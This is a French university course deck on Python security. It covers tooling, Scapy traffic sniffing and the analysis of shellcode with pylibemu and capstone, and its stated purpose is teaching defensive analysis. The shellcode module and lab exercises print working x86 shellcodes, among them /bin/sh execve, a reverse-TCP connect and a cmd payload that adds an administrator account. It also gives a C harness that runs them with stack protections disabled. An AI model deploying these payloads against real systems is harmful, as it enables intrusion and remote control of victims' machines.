0% ont trouvé ce document utile (0 vote)
13 vues100 pages

Sécurité Python : Cours et Pratiques 2024

Le document présente un cours sur la sécurité Python, incluant des modules sur l'analyse réseau et le shellcode, ainsi que des techniques d'automatisation d'attaques. Il aborde les prérequis, l'organisation du cours, l'utilisation de l'environnement de développement PyCharm, et la gestion des dépendances avec Poetry. Des sections sont également dédiées à l'utilisation de Scapy pour le sniffing réseau et à l'écriture de tests avec pytest.

Transféré par

nobab81575
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
13 vues100 pages

Sécurité Python : Cours et Pratiques 2024

Le document présente un cours sur la sécurité Python, incluant des modules sur l'analyse réseau et le shellcode, ainsi que des techniques d'automatisation d'attaques. Il aborde les prérequis, l'organisation du cours, l'utilisation de l'environnement de développement PyCharm, et la gestion des dépendances avec Poetry. Des sections sont également dédiées à l'utilisation de Scapy pour le sniffing réseau et à l'écriture de tests avec pytest.

Transféré par

nobab81575
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd

SÉCURITÉ PYTHON

ESGI 4A - FILIÈRE SI

2024 - 2025
Au menu

1 Rappels et prérequis

2 Module 1 - python défensif : analyse réseau

3 Module 2 - python défensif : analyse de shellcode

4 Module 3 - python offensif : automatisation CAPTCHA

5 Module 4 - python offensif : automatisation attaques réseaux

ESGI 4A - Programmation et sécurité python avancée 2 / 100


RAPPELS ET PRÉREQUIS
Avez vous les bases ?

 Les slides du cours de Python 3A sont disponibles sur MyGes.


Vous pouvez remercier votre directeur pédagogique.

ESGI 4A - Programmation et sécurité python avancée 4 / 100


Organisation et notation

Cours théorique
4 TP à rendre (notation facultative)
1 QCM = 1 note de CC
1 projet final = 1 note d'exam
Utilisation abusive de (ChatGPT, Mistral, Claude, etc) = 1/20

ESGI 4A - Programmation et sécurité python avancée 5 / 100


Environnement de développement

PyCharm ️> all -> the best !!!


Visual Studio Code -> ok mais moins adapté que PyCharm.
Vim ?

ESGI 4A - Programmation et sécurité python avancée 6 / 100


Structure d'un projet

src/ # Répertoire des sources


tests/ # Répertoire des tests
[Link] # Fichier de description du projet
.[Link] # Configuration de pre-commit
[Link] # Fichier de lock de poetry
[Link] # Fichier de configuration de poetry
.gitignore # Fichier d'exclusion de git
.git/ # Répertoire de git
.idea/ # Répertoire de PyCharm
.venv/ # Répertoire de l'environnement virtuel

ESGI 4A - Programmation et sécurité python avancée 7 / 100


Gestionnaire de paquet : poetry

Poetry est un gestionnaire de dépendances et un outil de packaging


pour Python. Il permet de gérer facilement les bibliothèques
nécessaires à un projet et de créer des environnements isolés.

ESGI 4A - Programmation et sécurité python avancée 8 / 100


Installation de Poetry

# Via pip :

pip install poetry

# Via le script officiel :

curl -sSL [Link] | python3 -

ESGI 4A - Programmation et sécurité python avancée 9 / 100


Initialisation d'un projet

Pour créer un nouveau projet avec Poetry :

poetry new nom_du_projet

Pour initialiser Poetry dans un projet existant :

poetry init

Répondez aux questions pour configurer le fichier [Link] .

ESGI 4A - Programmation et sécurité python avancée 10 / 100


Installation de dépendances

Ajouter une dépendance Installer toutes les dépendances

poetry add nom_du_paquet poetry install

Ajouter une dépendance de


développement

poetry add --dev nom_du_paquet

ESGI 4A - Programmation et sécurité python avancée 11 / 100


Gestion des environnements virtuels

Activer l'environnement virtuel :

poetry shell

Exécuter une commande dans l'environnement virtuel :

poetry run python [Link]

ESGI 4A - Programmation et sécurité python avancée 12 / 100


Mise à jour des dépendances

Pour mettre à jour toutes les dépendances :

poetry update

Pour mettre à jour une dépendance spécifique :

poetry update nom_du_paquet

ESGI 4A - Programmation et sécurité python avancée 13 / 100


Gestion des scripts

Vous pouvez définir des scripts dans le fichier [Link] :

[[Link]]
mon_script = "module:fonction"

Exécutez ensuite le script avec :

poetry run mon_script

ESGI 4A - Programmation et sécurité python avancée 14 / 100


Commandes utiles

Vérifier les dépendances : Supprimer une dépendance :

poetry check poetry remove nom_du_paquet

Lister les dépendances :

poetry show

ESGI 4A - Programmation et sécurité python avancée 15 / 100


Pré-commit

Pre-commit est un outil permettant d'exécuter des vérifications avant


chaque commit.
Pour l'installer :

pip install pre-commit

ESGI 4A - Programmation et sécurité python avancée 16 / 100


Configuration de pre-commit

Créez un fichier .[Link] à la racine du projet :

ESGI 4A - Programmation et sécurité python avancée 17 / 100


Configuration de pre-commit
repos:
- repo: [Link]
rev: v4.4.0 # Use the latest stable version
hooks:
- id: trailing-whitespace
- id: end-of-file-fixer
- id: check-yaml
- id: check-added-large-files
- repo: [Link]
rev: v0.9.7
hooks:
- id: ruff
args: [--fix, --exit-non-zero-on-fix, --ignore=E711]
- id: ruff-format
args: [--line-length=110]
- repo: [Link]
rev: v2.3.1
hooks:
- id: autoflake
args: [--remove-all-unused-imports, --in-place]
ESGI 4A - Programmation et sécurité python avancée 18 / 100
Utilisation de pre-commit
1. Installer les hooks définis dans .[Link] :

pre-commit install

2. Exécuter manuellement les hooks sur tous les fichiers :

pre-commit run --all-files

3. Lors de chaque commit, les hooks s'exécuteront automatiquement


pour vérifier les fichiers modifiés.

ESGI 4A - Programmation et sécurité python avancée 19 / 100


Les tests !

Les tests sont importants pour garantir le bon fonctionnement de


votre code.
Ils sont malheureusement souvent négligés par les développeurs.

ESGI 4A - Programmation et sécurité python avancée 20 / 100


Les tests avec pytest

Pytest est un framework de test pour Python. Il permet de créer des


tests unitaires et fonctionnels.
Pour l'installer à votre projet :

poetry add pytest


pip install pytest # Si vous n'utilisez pas Poetry

ESGI 4A - Programmation et sécurité python avancée 21 / 100


Les tests avec pytest

Pour exécuter les tests :

poetry run pytest

Ou directement dans PyCharm

ESGI 4A - Programmation et sécurité python avancée 22 / 100


Ecrire des tests

Créez un fichier test_nom_du_module.py dans le répertoire tests/ .

def test_fonction():
assert fonction() == "Résultat attendu"

assert est une fonction vérifiant si une condition est vraie. Si la


condition est fausse, une exception AssertionError est levée.

ESGI 4A - Programmation et sécurité python avancée 23 / 100


Ecrire des tests

Votre fonction de test doit suivre la structure suivante :


Reprendre le nom explicit du test à effectuer
Suivre les étapes suivantes :
i. Given : Initialisation des données
ii. When : Exécution de la fonction à tester
iii. Then : Vérification du résultat

ESGI 4A - Programmation et sécurité python avancée 24 / 100


Ecrire des tests

Petit exemple avec un projet d'auto-correction :

def test_if_answers_file_is_valid_return_true():
# Given
answers_file = [Link]([Link](__file__), "data/[Link]")
total_questions = 40

# When
result = verify_answers_file(answers_file, total_questions)

# Then
assert result is True

ESGI 4A - Programmation et sécurité python avancée 25 / 100


En vrac

Quelques autres bonnes pratiques en vrac :


Utiliser git pour versionner votre code.
Utiliser des noms de variables explicites.
Commenter votre code.
Fragmenter votre code en fonctions de 15 lignes maximum . 1 fonction
= 1 action
Utiliser logger à la place de print .

ESGI 4A - Programmation et sécurité python avancée 26 / 100


PYTHON DÉFENSIF

# Module 1 : écoute et analyse de trafic


réseau avec scapy
En quelques mots, Scapy

Développé par Philippe Biondi , distribué sous license GPLv2.


Interpréteur Python spécialisé réseau.
Parmis ses fonctionnalités :
forgeur de paquets
sniffeur
scanneur
Remplace de nombreux outils existants : ping, traceroute, nmap,
ettercap, wireshark, tcpdump ...

ESGI 4A - Programmation et sécurité python avancée 28 / 100


Les avantages

Non des moindres, c'est du Python.


Intègre un grand nombre de fonctions de haut niveau.
Multi taches
Modulaire
Extensible
Scapy permet de combiner simplement tout les avantages des outils
qu'il remplace.

ESGI 4A - Programmation et sécurité python avancée 29 / 100


Les inconvénients

Inutile sans un minimum d'effort, c'est une bibliothèque, donc elle ne


fait rien par définition.
Aucune interprétation des résultats.
Consommation excessive des ressources en cas de forte charge.
Le support de certains protocoles n'est pas complet.

ESGI 4A - Programmation et sécurité python avancée 30 / 100


Utilisation

Installation Lancement

# Pour les utilisateurs Arch Linux python


sudo pacman -S python-scapy
>>> import scapy
>>> # Écrivez votre code ici
# Pour les autres distributions
pip install scapy

ESGI 4A - Programmation et sécurité python avancée 31 / 100


Utilisation
Directement en ligne de commande

❯ scapy
>>>

L'aide

❯ scapy -h
Usage: [Link] [-s sessionfile] [-c new_startup_file] [-p new_prestart_file] [-C] [-P] [-H]
Args:
-H: header-less start
-C: do not read startup file
-P: do not read pre-startup file

ESGI 4A - Programmation et sécurité python avancée 32 / 100


Quelques fonctions

ls() : Affiche les protocoles disponible


ls(IP) : Affiche les champs du protocole IP
lsc() : Affiche la liste des commandes disponible
sniff.__doc__ : Affiche la documentation de la commande 'sniff'

ESGI 4A - Programmation et sécurité python avancée 33 / 100


Sniffing réseau

Scapy intègre dans sa bibliothèque une fonction de sniffing


permettant de capturer le trafic d'une interface très simplement.

sniff(count=0, store=1, offline=None, prn=None, lfilter=None, L2socket=None,


timeout=None, opened_socket=None, stop_filter=None, *arg, **karg)

ESGI 4A - Programmation et sécurité python avancée 34 / 100


Sniffing réseau

❯ sudo scapy

>>> sniff()
^C<Sniffed: TCP:61 UDP:4 ICMP:0 Other:0>

ESGI 4A - Programmation et sécurité python avancée 35 / 100


Sniffing réseau

❯ sudo scapy

>>> sniff(prn=lambda x: [Link]())


###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 91
id = 30496
flags = DF
frag = 0
ttl = 116

ESGI 4A - Programmation et sécurité python avancée 36 / 100


Sniffing réseau
Lire et afficher les paquets IP d'une trace réseau à partir d'un fichier
pcap.
sniff(prn=lambda x: [Link](), offline="httpd_attack.pcap",
filter="ip")
S'attacher à une socket existante.
sniff(prn=lambda x: [Link](), L2socket=sock2)
Capturer durant 30 secondes ou 50 paquets au maximum et stocker
les paquets.
sniff(count=50, timeout=30, store=1)

ESGI 4A - Programmation et sécurité python avancée 37 / 100


Intercepter ses paquets DNS
from [Link] import *

def dns_packet_handler(pkt):
if [Link](DNS):
if [Link](DNS).qr == 0:
print("Requête DNS détectée:")
print("Source IP: {}".format(pkt[IP].src))
print("Nom de domaine demandé: {}".format(pkt[DNS].[Link]()))

elif [Link](DNS).qr == 1:
print("Réponse DNS détectée:")
print("Destination IP: {}".format(pkt[IP].dst))
print("Réponse: {}".format(pkt[DNSRR].rdata))

dns_filter = "udp port 53"


sniff(filter=dns_filter, prn=dns_packet_handler)

ESGI 4A - Programmation et sécurité python avancée 38 / 100


Intercepter ses paquets DNS

Premier terminal

sudo python [Link]

Second terminal

❯ dig [Link]

ESGI 4A - Programmation et sécurité python avancée 39 / 100


Intercepter ses paquets DNS

Réponse !

❯ sudo python [Link]


Requête DNS détectée:
Source IP: [Link]
Nom de domaine demandé: [Link].
Réponse DNS détectée:
Destination IP: [Link]
Réponse: [Link]

ESGI 4A - Programmation et sécurité python avancée 40 / 100


Intercepter ses paquets ARP

from [Link] import *

def arp_packet_handler(pkt):
if [Link](ARP):
if pkt[ARP].op == 1: # 1 pour une requête ARP (Who-Has)
print("Requête ARP détectée:")
print("Adresse IP source: {}".format(pkt[ARP].psrc))
print("Adresse IP cible: {}".format(pkt[ARP].pdst))
print("Adresse MAC source: {}".format(pkt[ARP].hwsrc))

elif pkt[ARP].op == 2: # 2 pour une réponse ARP (Is-At)


print("Réponse ARP détectée:")
print("Adresse IP source: {}".format(pkt[ARP].psrc))
print("Adresse IP cible: {}".format(pkt[ARP].pdst))
print("Adresse MAC source: {}".format(pkt[ARP].hwsrc))
print("Adresse MAC cible: {}".format(pkt[ARP].hwdst))

sniff(prn=arp_packet_handler)

ESGI 4A - Programmation et sécurité python avancée 41 / 100


Intercepter ses paquets ARP
Belle réponse !

❯ sudo python [Link]


Requête ARP détectée:
Adresse IP source: [Link]
Adresse IP cible: [Link]
Adresse MAC source: 68:a3:78:78:81:bc
Réponse ARP détectée:
Adresse IP source: [Link]
Adresse IP cible: [Link]
Adresse MAC source: 00:e0:4c:68:11:59
Adresse MAC cible: 68:a3:78:78:81:bc

ESGI 4A - Programmation et sécurité python avancée 42 / 100


Graphiques et rapports

De base Scapy dispose de fonctionnalités pour exporter une


représentation d'un paquet au format PS (PostScript), PDF...
[Link]() : Affiche un diagramme de la dissection du paquet au
format PostScript
[Link]() : Affiche un diagramme de la dissection du paquet au
format PDF
[Link]() : Affiche un nuage de point d'une communication réseau
[Link](type="jpg", target="> [Link]")
pkt.trace3D()

ESGI 4A - Programmation et sécurité python avancée 43 / 100


Graphiques et rapports

L'utilisation de ces fonctions requiert les modules complémentaire


Gnuplot-py, Numpy, PyX, gv, acroread, Latex, Graphiz, ImageMagick,
VPython.
Pour finir sur les dépendances complémentaires :
Pour déchiffrer des trames 802.11 en WEP : PyCrypto
Pour le fingerprint : nmap*
Pour la VOIP : Sox

ESGI 4A - Programmation et sécurité python avancée 44 / 100


Graphiques et rapports

# Ca claque avec Jean-Baptiste PyGal


PyGal : Python Graph plotting library
[Link]

yay pygal # I use Arch BTW


pip install pygal # Débrouillez vous

ESGI 4A - Programmation et sécurité python avancée 45 / 100


Interception ARP graphique
from [Link] import *
import pygal

# Variables pour stocker les données ARP


arp_requests_count = 0
arp_responses_count = 0

def arp_packet_handler(pkt):
global arp_requests_count, arp_responses_count
if [Link](ARP):
if pkt[ARP].op == 1: # 1 pour une requête ARP (Who-Has)
arp_requests_count += 1
elif pkt[ARP].op == 2: # 2 pour une réponse ARP (Is-At)
arp_responses_count += 1

# Capturez tous les paquets ARP


sniff(prn=arp_packet_handler)

# Génération du graphique avec Pygal


bar_chart = [Link]()
bar_chart.title = 'Statistiques ARP'
bar_chart.x_labels = ['Requêtes ARP', 'Réponses ARP']
bar_chart.add('Nombre de Requêtes ARP', arp_requests_count)
bar_chart.add('Nombre de Réponses ARP', arp_responses_count)
bar_chart.render_to_file('arp_stats.svg')
print("Graphique généré avec succès sous le nom 'arp_stats.svg'")

ESGI 4A - Programmation et sécurité python avancée 46 / 100


Interception ARP graphique

On laisse tourner quelques secondes :

❯ sudo python [Link]


^C

Graphique généré avec succès sous le nom 'arp_stats.svg'

ESGI 4A - Programmation et sécurité python avancée 47 / 100


Interception ARP graphique
Statistiques ARP

3
Nombre de Requ…
Nombre de Répo… 2.8

2.6

2.4

2.2

1.8

1.6

1.4

1.2

0.8

0.6

0.4

0.2

Requêtes ARP Réponses ARP

ESGI 4A - Programmation et sécurité python avancée 48 / 100


Limites

Scapy n'est malheureusement plus vraiment d'une grande aide


lorsqu'il s'agit de traiter un volume "important" de paquets.
Couteux en ressource.
Peu malléable.
Peu compétitif face aux IDS récents.

ESGI 4A - Programmation et sécurité python avancée 49 / 100


TP 1 : Un IDS/IPS maison

Écrire un programme capable d'analyser une interface réseau, afin de


capturer et d'effectuer des statistiques sur le trafic réseau capturé :

1. Utiliser Scapy pour capturer le trafic de votre interface réseau


principal.
2. Lister les protocoles réseaux reçus sur la carte.
3. Générer un rapport PDF avec un graphique et un tableau de tous les
protocoles reçus durant la capture, ainsi que leur quantité de paquets.

ESGI 4A - Programmation et sécurité python avancée 50 / 100


TP 1 : Un IDS/IPS maison
4. Analyser pour chaque protocole, les différents paquets et indiquer la
légitimité du trafic dans le PDF.
Si un trafic est illégitime (exemple : Injection SQL, ARP
Spoofing, etc)
a. Noter la tentative d'attaque.
b. Relever le protocole ainsi que l'adresse réseau/physique
de l'attaquant.
c. (FACULTATIF) Opérer le blocage de la machine
attaquante.
Sinon afficher que tout va bien

ESGI 4A - Programmation et sécurité python avancée 51 / 100


PYTHON DÉFENSIF

# Module 2 : analyse de shellcode avec


pylibemu
Shellcode

 Un shellcode est un code injecté en mémoire vers lequel


l'exécution d'un programme est dirigé.

Il permet ainsi de réaliser une opération compromettant le


système (typiquement ouvrir un shell distant).

Il est représenté sous un ensemble de caractères qui représente


du code binaire exécutable.

ESGI 4A - Programmation et sécurité python avancée 53 / 100


Shellcode

Que fait ce shellcode ?

\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68
\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x10\x00\x00\x00\x2f\x75\x73\x72\x2f
\x62\x69\x6e\x2f\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80

ESGI 4A - Programmation et sécurité python avancée 54 / 100


Shellcode

Et celui la ?

\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d
\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69
\x6e\x2f\x73\x68

ESGI 4A - Programmation et sécurité python avancée 55 / 100


Shellcode
Qui suis je ?

❯ shellcode="\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73 \
\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x10\x00\x00\x00\x2f\x75 \
\x73\x72\x2f\x62\x69\x6e\x2f\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89 \
\xe1\xcd\x80"

❯ echo -ne $shellcode | strings


Rfh-c
h/sh
h /bin
/usr/ bin/whoami

ESGI 4A - Programmation et sécurité python avancée 56 / 100


Shellcode

Get pwn ?

❯ shellcode="\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c \
\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff \
\x2f\x62\x69\x6e\x2f\x73\x68"

❯ echo -ne $shellcode | strings


/bi n/sh

ESGI 4A - Programmation et sécurité python avancée 57 / 100


Limites

Bien entendu cette méthode a une limite très rapidement atteinte.


En effet si l’on tente l’analyse d’un shellcode provenant de Metasploit
:

❯ strings reverse_tcp.bin
SCSj
jfXPQW
...

Coup dur ! On ne voit rien...

ESGI 4A - Programmation et sécurité python avancée 58 / 100


Objdump
On avance !

❯ printf $(cat [Link]) > [Link]


❯ objdump -b binary -m i386 -D [Link]

[Link]: format de fichier binary

Déassemblage de la section .data :

00000000 <.data>:
0: fc cld
1: e8 89 00 00 00 call 0x8f
6: 60 pusha
7: 89 e5 mov ebp,esp
9: 31 d2 xor edx,edx
b: 64et 8b
ESGI 4A - Programmation 52 python
sécurité 30 avancée mov edx,DWORD PTR fs:[edx+0x30] 59 / 100
D'un point de vue dynamique

Sur Exegol

apt update
apt install gcc-multilib
sudo echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

ESGI 4A - Programmation et sécurité python avancée 60 / 100


D'un point de vue dynamique
On utilise un wrapper en C pour le shellcode 1

#include <stdio.h>
#include <string.h>

int main(){
char code[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\
\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x10\x00\x00\x00\x2f\x75\
\x73\x72\x2f\x62\x69\x6e\x2f\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\
\xe1\xcd\x80";
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
return ret();
}

ESGI 4A - Programmation et sécurité python avancée 61 / 100


D'un point de vue dynamique
On utilise un wrapper en C pour le shellcode 2

#include <stdio.h>
#include <string.h>

int main(){
char code[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\
\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\
\x2f\x62\x69\x6e\x2f\x73\x68";
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
return ret();
}

ESGI 4A - Programmation et sécurité python avancée 62 / 100


D'un point de vue dynamique

On compile en enlevant les protections

gcc shell.c -o shell -fno-stack-protector -z execstack -no-pie -m32


./shell
Shellcode length: 25
#

ESGI 4A - Programmation et sécurité python avancée 63 / 100


Libemu (à l'ancienne !)

Executing x86 instructions Shellcode execution


Reading x86 binary code Shellcode detection
Register emulation Using GetPC
Basic FPU emulation heuristics
Static analysis
Lien : Binary
[Link] backwardstraversal
Win32 API hooking

ESGI 4A - Programmation et sécurité python avancée 64 / 100


Pylibemu : du C au Python

La bibliothèque pylibemu est là pour faciliter l’accès aux


fonctionnalités de la libemu.
Ce n'est rien de plus qu'un portage en python de la libemu. Elle
permet un gain de temps lors du développement d'outils d'analyse
automatisé.
Lien : [Link]

ESGI 4A - Programmation et sécurité python avancée 65 / 100


Fonctions principales

Les principales fonctions pour démarrer avec pylibemu sont contenues


dans la classe Emulator() .
On y trouve des méthodes pour :
Vérifier la présence d'une charge malveillante.
Tester l'éxécution d'une application dans un environnement confiné.
Etudier/modifier le fonctionnement d'une application à la manière d'un
débugueur.

ESGI 4A - Programmation et sécurité python avancée 66 / 100


Installation

 ATTENTION !
Vous allez être amené à analyser des shellcodes potentiellement
malicieux. Utilisez toujours un environnement isolé (VM, Docker,
etc...)

Meilleur option : [Link]

ESGI 4A - Programmation et sécurité python avancée 67 / 100


Sur Exegol

Sur votre hôte. Assurez-vous Dans le conteneur, installez


qu'Exegol est correctement libemu et pylibemu en suivant ces
installé, puis démarrez le étapes :
conteneur avec la commande
suivante : cd
git clone [Link]
cd libemu
autoreconf -v -i
./configure
exegol start pylibemu make
make install
ldconfig
pip install pylibemu

ESGI 4A - Programmation et sécurité python avancée 68 / 100


Exemples
Instancier la classe Emulator

import pylibemu

shellcode = b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d"
shellcode += b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34"
shellcode += b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0"
shellcode += b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9"
shellcode += b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c"
shellcode += b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
shellcode += b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32"
shellcode += b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53"
shellcode += b"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02"
shellcode += b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6"
shellcode += b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3"
shellcode += b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50"
shellcode += b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6"
emulator = [Link]()
offset = emulator.shellcode_getpc_test(shellcode)
print(offset)
[Link](shellcode, offset)
[Link]()
print emulator.emu_profile_output

ESGI 4A - Programmation et sécurité python avancée 69 / 100


Exemples
exegol-pylibemu # python3 [Link]

HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x12fe90 =>
= "ws2_32";
) = 0x71a10000;
int WSAStartup (
WORD wVersionRequested = 2;
LPWSADATA lpWSAData = 1244272;
) = 0x0;
SOCKET WSASocket (
int af = 2;
int type = 1;
int protocol = 0;
LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
GROUP g = 0;
DWORD dwFlags = 0;
) = 0x42;
int connect (
SOCKET s = 66;
struct sockaddr_in * name = 0x12fe88 =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port = 4444);
struct in_addr sin_addr = {
unsigned long s_addr = 339060928 (host = [Link]);
};
char sin_zero = " ";
};
int namelen = 16;
) = 0x0;
int recv (
SOCKET s = 66;
char * buf = 0x12fe88 =>
none;
int len = 3072;
int flags = 0;
) = 0xc00;

ESGI 4A - Programmation et sécurité python avancée 70 / 100


Désassembler plus efficacement

Capstone est une bibliothèque multiplateforme qui permet de


désassembler des instructions binaires en code assembleur.

from capstone import *

ESGI 4A - Programmation et sécurité python avancée 71 / 100


Désassembler plus efficacement

from capstone import *

# Exemple de shellcode (ouvre une calculatrice sur Windows)


shellcode = b"\x31\xc0\x50\x68\x63\x61\x6c\x63\x89\xe6\x50
\x68\x29\x80\x6b\x00\x89\xe1\x50\x50\x56\xb0\x0b\x89\xe1\x99\xcd\x80"

# Initialisation du désassembleur
md = Cs(CS_ARCH_X86, CS_MODE_32)

# Désassemblage du shellcode
for i in [Link](shellcode, 0x1000):
print(f"0x{[Link]:x}:\t{[Link]}\t{i.op_str}")

ESGI 4A - Programmation et sécurité python avancée 72 / 100


Désassembler plus efficacement
0x1000: xor eax, eax
0x1002: push eax
0x1003: push 0x636c6163
0x1008: mov esi, esp
0x100a: push eax
0x100b: push 0x6b8029
0x1010: mov ecx, esp
0x1012: push eax
0x1013: push eax
0x1014: push esi
0x1015: mov al, 0xb
0x1017: mov ecx, esp
0x1019: cdq
0x101a: int 0x8

ESGI 4A - Programmation et sécurité python avancée 73 / 100


Aller plus loin
Pwntools : [Link]
Exemple de debug :

from pwn import *

[Link] = ['tmux', 'splitw', '-h']


binary_path = "./votre_programme"
p = [Link]([binary_path], gdbscript="", exe=binary_path)

shellcode = asm([Link]())
[Link](shellcode)
[Link]()

ESGI 4A - Programmation et sécurité python avancée 74 / 100


TP 2 - Mais que fait il ?
Réaliser un script utilisant pylibemu pour détecter et analyser les
shellcodes suivants :
Niveau : Facile

\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41\xAD\x33\xDB
\x36\x0F\xBE\x14\x28\x38\xF2\x74\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E
\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E
\x2E\x64\x6C\x6C\x00\x43\x3A\x5C\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40
\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E
\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F
\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB\x24\x53\xFF\xD0\x5D\xBF\x98\xFE
\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF
\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF

ESGI 4A - Programmation et sécurité python avancée 75 / 100


TP 2 - Mais que fait il ?

Et celui là ? Il va falloir scripter un peu !


Niveau : Moyen

\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c
\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01
\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7
\x8b\x7c\xaf\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f\x41\x44\x44\x68\x6f\x72
\x73\x20\x68\x74\x72\x61\x74\x68\x69\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63
\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44\x44\x20\x26\x68\x6e\x20\x2f\x41\x68
\x72\x6f\x4b\x33\x68\x33\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75
\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55
\xff\xd7

ESGI 4A - Programmation et sécurité python avancée 76 / 100


TP 2 - Mais que fait il ?
Et enfin celui là ?
Niveau : Difficile

\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b
\x72\x28\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52
\x8b\x52\x10\x8b\x42\x3c\x57\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58
\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38
\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c
\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12
